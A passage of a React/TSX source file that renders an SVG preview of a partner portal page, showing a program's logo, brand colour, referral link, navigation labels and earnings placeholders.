    "path": "apps/web/ui/partners/groups/design/previews/portal-preview.tsx",
    "content": "\"use client\";\n\nimport { constructPartnerLink } from \"@/lib/partners/construct-partner-link\";\nimport { GroupWithProgramProps } from \"@/lib/types\";\nimport {\n  getPrettyUrl,\n  OG_AVATAR_URL,\n  PARTNERS_DOMAIN,\n  truncate,\n} from \"@dub/utils\";\nimport { CSSProperties, useId } from \"react\";\nimport { useWatch } from \"react-hook-form\";\nimport { useBrandingFormContext } from \"../branding-form\";\nimport { PreviewWindow } from \"../preview-window\";\n\nexport function PortalPreview({ group }: { group: GroupWithProgramProps }) {\n  const program = group.program;\n  const id = useId();\n  const { getValues } = useBrandingFormContext();\n  const { brandColor, logo } = {\n    ...useWatch(),\n    ...getValues(),\n  };\n\n  const partnerLink = getPrettyUrl(\n    constructPartnerLink({\n      group,\n      link: {\n        key: \"partner\",\n        url: program.url ?? \"\",\n        shortLink: `https://${program.domain}/partner`,\n      },\n    }),\n  );\n\n  return (\n    <div className=\"scrollbar-hide -mx-2 h-full w-auto overflow-y-auto px-2 pb-4\">\n      <PreviewWindow\n        url={`${PARTNERS_DOMAIN}/programs/${program?.slug}`}\n        className=\"h-auto rounded-b-xl bg-neutral-100\"\n        contentClassName=\"overflow-y-hidden\"\n      >\n        <div\n          className=\"relative z-0 mx-auto w-full select-none text-[var(--brand)]\"\n          style={\n            {\n              \"--brand\": brandColor || \"#000000\",\n            } as CSSProperties\n          }\n          role=\"presentation\"\n        >\n          <svg\n            xmlns=\"http://www.w3.org/2000/svg\"\n            xmlnsXlink=\"http://www.w3.org/1999/xlink\"\n            fill=\"none\"\n            viewBox=\"0 0 869 690\"\n            className=\"h-auto w-full [&_*]:tracking-[-0.035em]\"\n          >\n            <defs>\n              <path\n                id={`${id}-o`}\n                fill=\"#fff\"\n                d=\"M123.403 13.062a8.193 8.193 0 0 1 8.193-8.194H868.5v684.36H123.403z\"\n              ></path>\n              <path id={`${id}-an`} fill=\"#fff\" d=\"M0 0h8.194v8.194H0z\"></path>\n              <path id={`${id}-ao`} fill=\"#fff\" d=\"M0 0h7.17v7.17H0z\"></path>\n              <path\n                id={`${id}-ap`}\n                fill=\"#fff\"\n                d=\"M0 0h614.513v135.193H0z\"\n              ></path>\n            </defs>\n            <g clipPath={`url(#${id}-a)`}>\n              <path fill=\"#F5F5F5\" d=\"M.5.771h868v688.457H.5z\"></path>\n              <path fill=\"#F5F5F5\" d=\"M.5.771h122.903v688.457H.5z\"></path>\n              <path\n                fill=\"#000\"\n                fillRule=\"evenodd\"\n                d=\"M13.857 8.368h1.408v8.919h-1.408v-.59a3.286 3.286 0 1 1 0-5.394zm-1.877 7.51a1.878 1.878 0 1 0 0-3.755 1.878 1.878 0 0 0 0 3.755m11.735-7.51h1.408v2.936A3.286 3.286 0 1 1 23.715 14zM27 15.878a1.878 1.878 0 1 0 0-3.755 1.878 1.878 0 0 0 0 3.755\"\n                clipRule=\"evenodd\"\n              ></path>\n              <path\n                fill=\"#000\"\n                d=\"M17.613 10.715h-1.409V14a3.285 3.285 0 0 0 3.286 3.286 3.29 3.29 0 0 0 2.324-.963 3.29 3.29 0 0 0 .962-2.323v-3.286h-1.408V14a1.877 1.877 0 0 1-3.206 1.327 1.88 1.88 0 0 1-.55-1.327z\"\n              ></path>\n              <g\n                stroke=\"#737373\"\n                strokeLinecap=\"round\"\n                strokeLinejoin=\"round\"\n                strokeWidth=\"0.768\"\n                clipPath={`url(#${id}-b)`}\n              >\n                <path d=\"M94.725 11.355v5.007m-2.39-5.804c0-.44.358-.796.797-.796 1.179 0 1.593 1.593 1.593 1.593h-1.593a.797.797 0 0 1-.796-.797m3.984.797h-1.594s.415-1.593 1.594-1.593a.797.797 0 0 1 0 1.593m.796 1.365v2.731a.91.91 0 0 1-.91.91h-2.959a.91.91 0 0 1-.91-.91v-2.73\"></path>\n                <path d=\"M97.57 11.355h-5.69a.455.455 0 0 0-.455.455v.455c0 .252.204.455.455.455h5.69a.455.455 0 0 0 .456-.455v-.455a.455.455 0 0 0-.456-.455\"></path>\n              </g>\n              <g clipPath={`url(#${id}-c)`}>\n                <circle cx=\"111.113\" cy=\"13.062\" r=\"6.146\" fill=\"#ccc\" />\n              </g>\n              <g clipPath={`url(#${id}-d)`}>\n                {/* Little logo */}\n                <image\n                  width=\"16.387\"\n                  height=\"16.387\"\n                  x=\"9.718\"\n                  y=\"36.376\"\n                  href={logo || `${OG_AVATAR_URL}${program.name}`}\n                  clipPath=\"inset(0% round 32px)\"\n                />\n                <circle\n                  cx=\"17.911\"\n                  cy=\"44.57\"\n                  r=\"7.937\"\n                  stroke=\"#D4D4D4\"\n                  strokeWidth=\"0.512\"\n                  opacity=\"0.5\"\n                ></circle>\n              </g>\n              <text\n                xmlSpace=\"preserve\"\n                fill=\"#171717\"\n                fontSize=\"7.169\"\n                fontWeight=\"600\"\n                letterSpacing=\"-.02em\"\n                style={{ whiteSpace: \"pre\" }}\n              >\n                <tspan x=\"31.226\" y=\"42.298\">\n                  {truncate(program?.name, 13)}\n                </tspan>\n              </text>\n              <text\n                xmlSpace=\"preserve\"\n                fill=\"#737373\"\n                fontSize=\"6.145\"\n                fontWeight=\"500\"\n                letterSpacing=\"-.02em\"\n                style={{ whiteSpace: \"pre\" }}\n              >\n                <tspan x=\"31.226\" y=\"51.901\">\n                  Enrolled\n                </tspan>\n              </text>\n              <g\n                stroke=\"#A1A1A1\"\n                strokeLinecap=\"round\"\n                strokeLinejoin=\"round\"\n                strokeWidth=\"0.768\"\n                clipPath={`url(#${id}-e)`}\n              >\n                <path d=\"m110.262 43.619-1.195-1.195-1.195 1.195m2.39 1.877-1.195 1.195-1.195-1.195\"></path>\n              </g>\n              <path\n                fill=\"#F5F5F5\"\n                d=\"M6.645 65.836h110.612v61.451H6.645z\"\n              ></path>\n              <g clipPath={`url(#${id}-f)`}>\n                <path\n                  fill=\"#DBEAFE\"\n                  d=\"M6.645 65.836h110.612v15.363H6.645z\"\n                  opacity=\"0.5\"\n                ></path>\n                <g fill=\"#737373\" clipPath={`url(#${id}-g)`}>\n                  <path d=\"M14.839 71.924a.341.341 0 1 0 0-.683.341.341 0 0 0 0 .683m1.367.567a.341.341 0 1 0 0-.683.341.341 0 0 0 0 .683m.567 1.368a.341.341 0 1 0 0-.683.341.341 0 0 0 0 .683m-3.302-1.368a.341.341 0 1 0 0-.683.341.341 0 0 0 0 .683m-.567 1.368a.342.342 0 1 0 0-.683.342.342 0 0 0 0 .683\"></path>\n                  <path d=\"m15.137 76.123-.004-.04-.02-.13a12 12 0 0 0-.075-.399c-.055-.27-.126-.596-.2-.921-.073.325-.144.65-.199.921a12 12 0 0 0-.075.398l-.019.13-.005.04v.013a.299.299 0 0 0 .597 0zm2.618-2.606a2.916 2.916 0 1 0-4.512 2.44.384.384 0 1 1-.421.641 3.684 3.684 0 1 1 4.034 0 .384.384 0 1 1-.422-.642 2.91 2.91 0 0 0 1.32-2.439m-1.85 2.618a1.067 1.067 0 0 1-2.133 0c0-.084.016-.199.034-.308.02-.12.047-.265.08-.425.065-.321.151-.711.237-1.087a112 112 0 0 1 .313-1.335l.021-.09.008-.03v-.002l.021-.062a.385.385 0 0 1 .726.062v.002l.008.03.021.09.078.324c.064.27.15.635.236 1.01.085.377.171.767.236 1.088.033.16.06.305.08.425.018.109.034.224.034.308\"></path>\n                </g>\n                <text\n                  xmlSpace=\"preserve\"\n                  fill=\"#1447E6\"\n                  fontSize=\"7.169\"\n                  fontWeight=\"500\"\n                  letterSpacing=\"-.02em\"\n                  style={{ whiteSpace: \"pre\" }}\n                >\n                  <tspan x=\"24.056\" y=\"75.745\">\n                    Overview\n                  </tspan>\n                </text>\n              </g>\n              <g clipPath={`url(#${id}-h)`}>\n                <path\n                  stroke=\"#737373\"\n                  strokeLinecap=\"round\"\n                  strokeLinejoin=\"round\"\n                  strokeWidth=\"0.768\"\n                  d=\"M15.666 87.947c-.18-.424-.539-.52-.81-.52-.252 0-.915.134-.853.77.042.446.463.613.831.678s.902.206.915.744c.011.456-.398.766-.893.766-.473 0-.801-.184-.928-.6m.91-2.84v.482m0 2.958v.43m3.3-1.935a3.3 3.3 0 1 1-6.6 0 3.3 3.3 0 0 1 6.6 0\"\n                ></path>\n              </g>\n              <text\n                xmlSpace=\"preserve\"\n                fill=\"#404040\"\n                fontSize=\"6.657\"\n                fontWeight=\"500\"\n                style={{ whiteSpace: \"pre\" }}\n              >\n                <tspan x=\"24.056\" y=\"91.301\">\n                  Earnings\n                </tspan>\n              </text>\n              <g clipPath={`url(#${id}-i)`}>\n                <path\n                  stroke=\"#737373\"\n                  strokeLinecap=\"round\"\n                  strokeLinejoin=\"round\"\n                  strokeWidth=\"0.768\"\n                  d=\"M14.612 103.254a1.6 1.6 0 0 0-.443.314l-.005.004a1.61 1.61 0 0 0 0 2.276l.99.99a1.61 1.61 0 0 0 2.276 0l.005-.004a1.61 1.61 0 0 0 0-2.276l-.424-.424m-1.944 1.098q.242-.114.443-.314l.004-.005a1.61 1.61 0 0 0 0-2.276l-.99-.99a1.61 1.61 0 0 0-2.276 0l-.005.005a1.61 1.61 0 0 0 0 2.276l.424.424\"\n                ></path>\n              </g>\n              <text\n                xmlSpace=\"preserve\"\n                fill=\"#404040\"\n                fontSize=\"6.657\"\n                fontWeight=\"500\"\n                style={{ whiteSpace: \"pre\" }}\n              >\n                <tspan x=\"24.056\" y=\"106.664\">\n                  Links\n                </tspan>\n              </text>\n              <g clipPath={`url(#${id}-j)`}>\n                <path\n                  fill=\"#737373\"\n                  d=\"M13.018 121.768a.342.342 0 1 0 0-.683.342.342 0 0 0 0 .683\"\n                ></path>\n                <path\n                  stroke=\"#737373\"\n                  strokeLinecap=\"round\"\n                  strokeLinejoin=\"round\"\n                  strokeWidth=\"0.768\"\n                  d=\"m13.742 122.151 2.977-2.978a.454.454 0 0 0 0-.643l-.804-.805a.455.455 0 0 0-.644 0l-.091.091m-2.162 4.635h4.21a.456.456 0 0 0 .456-.456v-1.138a.455.455 0 0 0-.456-.455H17.1m-4.082 2.049a1.025 1.025 0 0 1-1.024-1.025v-4.21c0-.251.204-.455.455-.455h1.138c.251 0 .455.204.455.455v4.21c0 .566-.459 1.025-1.024 1.025\"\n                ></path>\n              </g>\n              <text\n                xmlSpace=\"preserve\"\n                fill=\"#404040\"\n                fontSize=\"6.657\"\n                fontWeight=\"500\"\n                style={{ whiteSpace: \"pre\" }}\n              >\n                <tspan x=\"24.056\" y=\"122.027\">\n                  Resources\n                </tspan>\n              </text>\n              <mask id={`${id}-k`} fill=\"#fff\">\n                <path d=\"M.5 612.067h122.903v77.161H.5z\"></path>\n              </mask>\n              <path\n                fill=\"#D4D4D4\"\n                d=\"M.5 612.067v.512h122.903v-1.024H.5z\"\n                mask={`url(#${id}-k)`}\n              ></path>\n              <g clipPath={`url(#${id}-l)`}>\n                <path\n                  stroke=\"#737373\"\n                  strokeLinecap=\"round\"\n                  strokeLinejoin=\"round\"\n                  strokeWidth=\"0.768\"\n                  d=\"M12.278 623.504a.797.797 0 1 0 0-1.594.797.797 0 0 0 0 1.594\"\n                ></path>\n                <path\n                  stroke=\"#737373\"\n                  strokeLinecap=\"round\"\n                  strokeLinejoin=\"round\"\n                  strokeWidth=\"0.768\"\n                  d=\"M14.37 620.616h-4.183a.797.797 0 0 0-.796.797v2.589c0 .44.356.796.796.796h4.182c.44 0 .797-.356.797-.796v-2.589a.797.797 0 0 0-.797-.797\"\n                ></path>\n                <path\n                  fill=\"#737373\"\n                  d=\"M10.386 623.006a.299.299 0 1 0 0-.598.299.299 0 0 0 0 .598m3.784 0a.299.299 0 1 0 0-.598.299.299 0 0 0 0 .598\"\n                ></path>\n                <path\n                  stroke=\"#737373\"\n                  strokeLinecap=\"round\"\n                  strokeLinejoin=\"round\"\n                  strokeWidth=\"0.768\"\n                  d=\"M10.187 619.421h4.182\"\n                ></path>\n              </g>\n              <text\n                xmlSpace=\"preserve\"\n                fill=\"#737373\"\n                fontSize=\"6.145\"\n                fontWeight=\"500\"\n                style={{ whiteSpace: \"pre\" }}\n              >\n                <tspan x=\"18.935\" y=\"624.543\">\n                  Payouts\n                </tspan>\n              </text>\n              <g clipPath={`url(#${id}-m)`}>\n                <path\n                  stroke=\"#737373\"\n                  strokeLinecap=\"round\"\n                  strokeLinejoin=\"round\"\n                  strokeWidth=\"0.768\"\n                  d=\"m46.463 620.886 1.423 1.423-1.423 1.422\"\n                ></path>\n              </g>\n              <text\n                xmlSpace=\"preserve\"\n                fill=\"#737373\"\n                fontSize=\"6.145\"\n                fontWeight=\"500\"\n                style={{ whiteSpace: \"pre\" }}\n              >\n                <tspan x=\"8.694\" y=\"642.382\">\n                  Upcoming payouts\n                </tspan>\n              </text>\n              <text\n                xmlSpace=\"preserve\"\n                fill=\"#404040\"\n                fontSize=\"6.657\"\n                fontWeight=\"500\"\n                style={{ whiteSpace: \"pre\" }}\n              >\n                <tspan x=\"8.694\" y=\"653.665\">\n                  $0.00\n                </tspan>\n              </text>\n              <text\n                xmlSpace=\"preserve\"\n                fill=\"#737373\"\n                fontSize=\"6.145\"\n                fontWeight=\"500\"\n                style={{ whiteSpace: \"pre\" }}\n              >\n                <tspan x=\"8.694\" y=\"668.672\">\n                  Lifetime earnings\n                </tspan>\n              </text>\n              <text\n                xmlSpace=\"preserve\"\n                fill=\"#404040\"\n                fontSize=\"6.657\"\n                fontWeight=\"500\"\n                style={{ whiteSpace: \"pre\" }}\n              >\n                <tspan x=\"8.694\" y=\"679.955\">\n                  $0.00\n                </tspan>\n              </text>\n              <g clipPath={`url(#${id}-n)`}>\n                <use xlinkHref={`#${id}-o`}></use>\n                <path\n                  fill=\"#fff\"\n                  d=\"M188.695 21.255h614.513v24.58H188.695z\"\n                ></path>\n                <text\n                  xmlSpace=\"preserve\"\n                  fill=\"#171717\"\n                  fontSize=\"12.29\"\n                  fontWeight=\"600\"\n                  letterSpacing=\"-.02em\"\n                  style={{ whiteSpace: \"pre\" }}\n                >\n                  <tspan x=\"188.695\" y=\"37.708\">\n                    Overview\n                  </tspan>\n                </text>\n                <path\n                  fill={`url(#${id}-C)`}\n                  d=\"M188.695 54.03h614.513v131.12H188.695z\"\n                ></path>\n                <g clipPath={`url(#${id}-p)`}>\n                  <rect\n                    width=\"614.513\"\n                    height=\"131.491\"\n                    x=\"188.695\"\n                    y=\"54.029\"\n                    fill=\"#FAFAFA\"\n                    rx=\"4.097\"\n                  ></rect>\n                  <rect\n                    xmlns=\"http://www.w3.org/2000/svg\"\n                    width=\"614.513\"\n                    height=\"131.491\"\n                    x=\"188.695\"\n                    y=\"54.029\"\n                    opacity=\"0.25\"\n                    fill={`url(#${id}-grid)`}\n                  />\n                  <path fill={`url(#${id}-aq)`} d=\"M188 54h615v131H189z\" />\n                  <text\n                    xmlSpace=\"preserve\"\n                    fill=\"#262626\"\n                    fontSize=\"8.194\"\n                    fontWeight=\"600\"\n                    letterSpacing=\"-.02em\"\n                    style={{ whiteSpace: \"pre\" }}\n                  >\n                    <tspan x=\"200.985\" y=\"75.444\">\n                      Referral link\n                    </tspan>\n                  </text>\n                  <rect\n                    width=\"198.003\"\n                    height=\"19.972\"\n                    x=\"201.241\"\n                    y=\"85.721\"\n                    fill=\"#fff\"\n                    rx=\"2.817\"\n                  ></rect>\n                  <rect\n                    width=\"198.003\"\n                    height=\"19.972\"\n                    x=\"201.241\"\n                    y=\"85.721\"\n                    stroke=\"#D4D4D4\"\n                    strokeWidth=\"0.512\"\n                    rx=\"2.817\"\n                  ></rect>\n                  <text\n                    xmlSpace=\"preserve\"\n                    fill=\"#262626\"\n                    fontSize=\"7.169\"\n                    fontWeight=\"500\"\n                    style={{ whiteSpace: \"pre\" }}\n                  >\n                    <tspan x=\"207.13\" y=\"98.314\">\n                      {partnerLink}\n                    </tspan>\n                  </text>\n                  <path\n                    fill=\"#171717\"\n                    d=\"M405.645 88.537a3.073 3.073 0 0 1 3.073-3.072h52a3.07 3.07 0 0 1 3.072 3.072v14.339a3.07 3.07 0 0 1-3.072 3.073h-52a3.073 3.073 0 0 1-3.073-3.073z\"\n                  ></path>\n                  <path\n                    stroke=\"#fff\"\n                    strokeLinecap=\"round\"\n                    strokeLinejoin=\"round\"\n                    strokeWidth=\"0.768\"\n                    d=\"M415.275 97.186h-.455a.91.91 0 0 1-.91-.91v-2.504a.91.91 0 0 1 .91-.91h3.414a.91.91 0 0 1 .91.91v.455m.455 4.325h-3.414a.91.91 0 0 1-.91-.91v-2.504a.91.91 0 0 1 .91-.91h3.414a.91.91 0 0 1 .911.91v2.503a.91.91 0 0 1-.911.91\"\n                  ></path>\n                  <text\n                    xmlSpace=\"preserve\"\n                    fill=\"#fff\"\n                    fontSize=\"7.169\"\n                    fontWeight=\"600\"\n                    style={{ whiteSpace: \"pre\" }}\n                  >\n                    <tspan x=\"423.256\" y=\"98.314\">\n                      Copy link\n                    </tspan>\n                  </text>\n                  <text\n                    xmlSpace=\"preserve\"\n                    fill=\"#262626\"\n                    fontSize=\"8.194\"\n                    fontWeight=\"600\"\n                    letterSpacing=\"-.02em\"\n                    style={{ whiteSpace: \"pre\" }}\n                  >\n                    <tspan x=\"200.985\" y=\"139.653\">\n                      Rewards\n                    </tspan>\n                  </text>\n                  <path\n                    fill=\"#fff\"\n                    d=\"M204.057 147.882h245.806a2.816 2.816 0 0 1 2.816 2.816v19.46a2.816 2.816 0 0 1-2.816 2.816H204.057a2.816 2.816 0 0 1-2.816-2.816v-19.46a2.816 2.816 0 0 1 2.816-2.816\"\n                  ></path>\n                  <path\n                    stroke=\"#E5E5E5\"\n                    strokeWidth=\"0.512\"\n                    d=\"M204.057 147.882h245.806a2.816 2.816 0 0 1 2.816 2.816v19.46a2.816 2.816 0 0 1-2.816 2.816H204.057a2.816 2.816 0 0 1-2.816-2.816v-19.46a2.816 2.816 0 0 1 2.816-2.816Z\"\n                  ></path>\n                  <text\n                    xmlSpace=\"preserve\"\n                    fill=\"#999\"\n                    fontSize=\"8.194\"\n                    fontWeight=\"600\"\n                    letterSpacing=\"-.02em\"\n                    style={{ whiteSpace: \"pre\" }}\n                  >\n                    <tspan x=\"210\" y=\"161\">\n                      ...\n                    </tspan>\n                  </text>\n                  <rect\n                    width=\"56.288\"\n                    height=\"11.097\"\n                    x=\"738.935\"\n                    y=\"165.858\"\n                    fill=\"#fff\"\n                    rx=\"3.073\"\n                  ></rect>\n                  <rect\n                    width=\"56.8\"\n                    height=\"11.609\"\n                    x=\"738.679\"\n                    y=\"165.602\"\n                    stroke=\"#000\"\n                    strokeOpacity=\"0.1\"\n                    strokeWidth=\"0.512\"\n                    rx=\"3.329\"\n                  ></rect>\n                  <text\n                    xmlSpace=\"preserve\"\n                    fill=\"#737373\"\n                    fontSize=\"5.91\"\n                    fontWeight=\"500\"\n                    style={{\n                      whiteSpace: \"pre\",\n                    }}\n                  >\n                    <tspan x=\"743.397\" y=\"173.556\">\n                      Powered by\n                    </tspan>\n                  </text>\n                  <path\n                    fill=\"#171717\"\n                    fillRule=\"evenodd\"\n                    d=\"M781.571 168.637h.819v5.263h-.819v-.348a1.9 1.9 0 0 1-1.092.348c-1.055 0-1.911-.868-1.911-1.939s.856-1.939 1.911-1.939c.406 0 .783.128 1.092.347zm-1.092 4.432a1.1 1.1 0 0 0 1.092-1.108 1.1 1.1 0 0 0-1.092-1.108 1.1 1.1 0 0 0-1.092 1.108 1.1 1.1 0 0 0 1.092 1.108m6.825-4.432h.819v1.732c.31-.219.686-.347 1.092-.347 1.056 0 1.911.868 1.911 1.939s-.855 1.939-1.911 1.939c-1.055 0-1.911-.868-1.911-1.939zm1.911 4.432a1.1 1.1 0 0 0 1.092-1.108 1.1 1.1 0 0 0-1.092-1.108 1.1 1.1 0 0 0-1.092 1.108 1.1 1.1 0 0 0 1.092 1.108\"\n                    clipRule=\"evenodd\"\n                  ></path>\n                  <path\n                    fill=\"#171717\"\n                    d=\"M783.755 170.022h-.819v1.939a1.96 1.96 0 0 0 .56 1.371 1.9 1.9 0 0 0 1.351.568 1.907 1.907 0 0 0 1.766-1.197c.096-.235.145-.488.145-.742v-1.939h-.819v1.939c0 .294-.115.576-.32.783a1.08 1.08 0 0 1-1.544 0 1.11 1.11 0 0 1-.32-.783z\"\n                  ></path>\n                  <mask\n                    id={`${id}-s`}\n                    width=\"164\"\n                    height=\"164\"\n                    x=\"639\"\n                    y=\"38\"\n                    maskUnits=\"userSpaceOnUse\"\n                    style={{ maskType: \"alpha\" }}\n                  >\n                    <circle\n                      cx=\"721.017\"\n                      cy=\"120.32\"\n                      r=\"81.679\"\n                      fill={`url(#${id}-r)`}\n                    ></circle>\n                  </mask>\n                  <g mask={`url(#${id}-s)`}>\n                    <g filter={`url(#${id}-t)`}>\n                      <rect\n                        width=\"20.484\"\n                        height=\"20.484\"\n                        x=\"649.58\"\n                        y=\"68.855\"\n                        fill={`url(#${id}-u)`}\n                        rx=\"4.097\"\n                      ></rect>\n                      <rect\n                        width=\"20.484\"\n                        height=\"20.484\"\n                        x=\"649.58\"\n                        y=\"68.855\"\n                        stroke=\"#000\"\n                        strokeOpacity=\"0.06\"\n                        strokeWidth=\"0.384\"\n                        rx=\"4.097\"\n                      ></rect>\n                      <g\n                        stroke=\"#737373\"\n                        strokeLinecap=\"round\"\n                        strokeLinejoin=\"round\"\n                        strokeWidth=\"0.768\"\n                        clipPath={`url(#${id}-v)`}\n                        opacity=\"0.2\"\n                      >\n                        <path d=\"M659.821 80.234a1.138 1.138 0 1 0 0-2.275 1.138 1.138 0 0 0 0 2.275\"></path>\n                        <path d=\"M655.696 81.8v-5.406c1.364.611 2.599.695 4.125 0s2.762-.711 4.126 0V81.8c-1.364-.712-2.6-.695-4.126 0-1.526.694-2.761.61-4.125 0\"></path>\n                      </g>\n                    </g>\n                    <g filter={`url(#${id}-w)`}>\n                      <rect\n                        width=\"20.484\"\n                        height=\"20.484\"\n                        x=\"772.482\"\n                        y=\"150.789\"\n                        fill={`url(#${id}-x)`}\n                        rx=\"4.097\"\n                      ></rect>\n                      <rect\n                        width=\"20.484\"\n                        height=\"20.484\"\n                        x=\"772.482\"\n                        y=\"150.789\"\n                        stroke=\"#000\"\n                        strokeOpacity=\"0.06\"\n                        strokeWidth=\"0.384\"\n                        rx=\"4.097\"\n                      ></rect>\n                      <g\n                        stroke=\"#737373\"\n                        strokeLinecap=\"round\"\n                        strokeLinejoin=\"round\"\n                        strokeWidth=\"0.768\"\n                        clipPath={`url(#${id}-y)`}\n                        opacity=\"0.2\"\n                      >\n                        <path d=\"M782.724 161.502a1.253 1.253 0 1 0-.001-2.505 1.253 1.253 0 0 0 .001 2.505m-2.425 3.442a2.505 2.505 0 0 1 4.85 0\"></path>\n                        <path d=\"M786.636 160.719v2.973c0 .692-.56 1.252-1.252 1.252h-5.32c-.692 0-1.252-.56-1.252-1.252v-5.32c0-.691.56-1.251 1.252-1.251h2.973m3.286-1.252v3.129m1.565-1.564h-3.13\"></path>\n                      </g>\n                    </g>\n                    <g filter={`url(#${id}-z)`}>\n                      {/* Rounded rectangle behind large logo */}\n                      <path\n                        fill={`url(#${id}-A)`}\n                        d=\"M680.305 87.29a8.194 8.194 0 0 1 8.194-8.194h65.548a8.193 8.193 0 0 1 8.193 8.193v65.548a8.193 8.193 0 0 1-8.193 8.194h-65.548a8.194 8.194 0 0 1-8.194-8.194z\"\n                      ></path>\n                    </g>\n                    <path\n                      stroke=\"#000\"\n                      strokeOpacity=\"0.06\"\n                      strokeWidth=\"0.384\"\n                      d=\"M680.305 87.29a8.194 8.194 0 0 1 8.194-8.194h65.548a8.193 8.193 0 0 1 8.193 8.193v65.548a8.193 8.193 0 0 1-8.193 8.194h-65.548a8.194 8.194 0 0 1-8.194-8.194z\"\n                    ></path>\n                    <g filter={`url(#${id}-B)`} opacity=\"0.3\">\n                      <circle\n                        cx=\"721.273\"\n                        cy=\"120.063\"\n                        r=\"22.02\"\n                        fill=\"#f00\"\n                        opacity=\"0.5\"\n                      ></circle>\n                    </g>\n                    {/* Big logo */}\n                    <image\n                      width=\"40.968\"\n                      height=\"40.968\"\n                      x=\"700.789\"\n                      y=\"99.58\"\n                      href={logo || `${OG_AVATAR_URL}${program.name}`}\n                      clipPath=\"inset(0% round 80px)\"\n                    />\n                    <rect\n                      width=\"40.456\"\n                      height=\"40.456\"\n                      x=\"701.045\"\n                      y=\"99.836\"\n                      stroke=\"#000\"\n                      strokeOpacity=\"0.08\"\n                      strokeWidth=\"0.512\"\n                      rx=\"20.228\"\n                    ></rect>\n                  </g>\n                  <g\n                    filter={`url(#${id}-D)`}\n                    style={{ mixBlendMode: \"soft-light\" }}\n                  >\n                    {brandColor && (\n                      <ellipse\n                        cx=\"722.553\"\n                        cy=\"120.066\"\n                        fill=\"currentColor\"\n                        opacity=\"0.4\"\n                        rx=\"150.3\"\n                        ry=\"158.749\"\n                      />\n                    )}\n                  </g>\n                  <g filter={`url(#${id}-E)`} opacity=\"0.15\">\n                    {brandColor ? (\n                      <ellipse\n                        cx=\"150.3\"\n                        cy=\"120.139\"\n                        fill=\"currentColor\"\n                        opacity=\"0.7\"\n                        rx=\"150.3\"\n                        ry=\"120.139\"\n                        transform=\"matrix(1 0 0 -1 572.254 249.368)\"\n                      />\n                    ) : (\n                      <foreignObject width=\"250\" height=\"250\" x=\"596\" y=\"-6\">\n                        <div\n                          className=\"size-full rounded-full saturate-150\"\n                          style={{\n                            background:\n                              \"conic-gradient(from -66deg at 50% 50%, #855afc -32deg, red 63deg, #eab308 158deg, #5cff80 240deg, #855afc 328deg, red 423deg)\",\n                          }}\n                        ></div>\n                      </foreignObject>\n                    )}\n                  </g>\n                </g>\n                <rect\n                  width=\"614.001\"\n                  height=\"130.979\"\n                  x=\"188.951\"\n                  y=\"54.285\"\n                  stroke=\"#E5E5E5\"\n                  strokeWidth=\"0.512\"\n                  rx=\"3.841\"\n                ></rect>\n                <g clipPath={`url(#${id}-F)`}>\n                  <rect\n                    width=\"404.555\"\n                    height=\"134.681\"\n                    x=\"188.951\"\n                    y=\"206.261\"\n                    fill=\"#fff\"\n                    rx=\"3.841\"\n                  ></rect>\n                  <rect\n                    width=\"404.555\"\n                    height=\"134.681\"\n                    x=\"188.951\"\n                    y=\"206.261\"\n                    stroke=\"#D4D4D4\"\n                    strokeWidth=\"0.512\"\n                    rx=\"3.841\"\n                  ></rect>\n                  <text\n                    xmlSpace=\"preserve\"\n                    fill=\"#262626\"\n                    fontSize=\"8.194\"\n                    fontWeight=\"600\"\n                    style={{ whiteSpace: \"pre\" }}\n                  >\n                    <tspan x=\"198.937\" y=\"223.726\">\n                      Earnings\n                    </tspan>\n                  </text>\n                  <text\n                    xmlSpace=\"preserve\"\n                    fill=\"#525252\"\n                    fontSize=\"9.218\"\n                    fontWeight=\"500\"\n                    style={{ whiteSpace: \"pre\" }}\n                  >\n                    <tspan x=\"198.937\" y=\"237.695\">\n                      $0.00\n                    </tspan>\n                  </text>\n                  <mask\n                    id={`${id}-H`}\n                    width=\"386\"\n                    height=\"27\"\n                    x=\"198\"\n                    y=\"289\"\n                    maskUnits=\"userSpaceOnUse\"\n                    style={{ maskType: \"alpha\" }}\n                  >\n                    <path\n                      fill={`url(#${id}-G)`}\n                      d=\"M0 0h384.754v26.629H0z\"\n                      transform=\"translate(198.937 289.132)\"\n                    ></path>\n                  </mask>\n                  <g mask={`url(#${id}-H)`}>\n                    <path\n                      fill={\n                        brandColor\n                          ? \"currentColor\"\n                          : `url(#${id}-color-gradient)`\n                      }\n                      d=\"m535.639 294.779-47.886 8.902q-.251.046-.506.03l-47.882-3.07-48.137 2.469-48.137-.617-47.934-3.38a2 2 0 0 0-.404.011l-47.936 6.146-48.137 2.469v8.022h385.095v-24.068z\"\n                      opacity=\"0.2\"\n                    ></path>\n                  </g>\n                  <path\n                    stroke={\n                      brandColor ? \"currentColor\" : `url(#${id}-color-gradient)`\n                    }\n                    strokeLinejoin=\"round\"\n                    strokeWidth=\"0.768\"\n                    d=\"m198.937 307.941 48.094-3.115 47.805-5.705q.289-.035.58-.014l47.803 3.367 48.094.522 48.095-2.091 47.737 2.595q.357.02.708-.044l47.743-8.541 48.094-3.126\"\n                  ></path>\n                  <text\n                    xmlSpace=\"preserve\"\n                    fill=\"#525252\"\n                    fontSize=\"6.145\"\n                    style={{ whiteSpace: \"pre\" }}\n                  >\n                    <tspan x=\"198.937\" y=\"329.69\">\n                      Jan 2024\n                    </tspan>\n                  </text>\n                  <text\n                    xmlSpace=\"preserve\"\n                    fill=\"#525252\"\n                    fontSize=\"6.145\"\n                    style={{ whiteSpace: \"pre\" }}\n                  >\n                    <tspan x=\"554.519\" y=\"329.69\">\n                      Dec 2024\n                    </tspan>\n                  </text>\n                  <g filter={`url(#${id}-J)`}>\n                    <g clipPath={`url(#${id}-K)`}>\n                      <path\n                        fill=\"#fff\"\n                        d=\"M250.914 247.996h68.62v14.194h-68.62z\"\n                      ></path>\n                      <text\n                        xmlSpace=\"preserve\"\n                        fill=\"#404040\"\n                        fontSize=\"5.633\"\n                        fontWeight=\"500\"\n                        style={{ whiteSpace: \"pre\" }}\n                      >\n                        <tspan x=\"255.011\" y=\"257.141\">\n                          Mar 2024\n                        </tspan>\n                      </text>\n                      <text\n                        xmlSpace=\"preserve\"\n                        fill=\"#737373\"\n                        fontSize=\"5.633\"\n                        style={{ whiteSpace: \"pre\" }}\n                      >\n                        <tspan x=\"299.438\" y=\"257.141\">\n                          $0.00\n                        </tspan>\n                      </text>\n                    </g>\n                    <path\n                      stroke=\"#E5E5E5\"\n                      strokeWidth=\"0.512\"\n                      d=\"M255.011 248.252h60.427a3.84 3.84 0 0 1 3.84 3.84v6a3.84 3.84 0 0 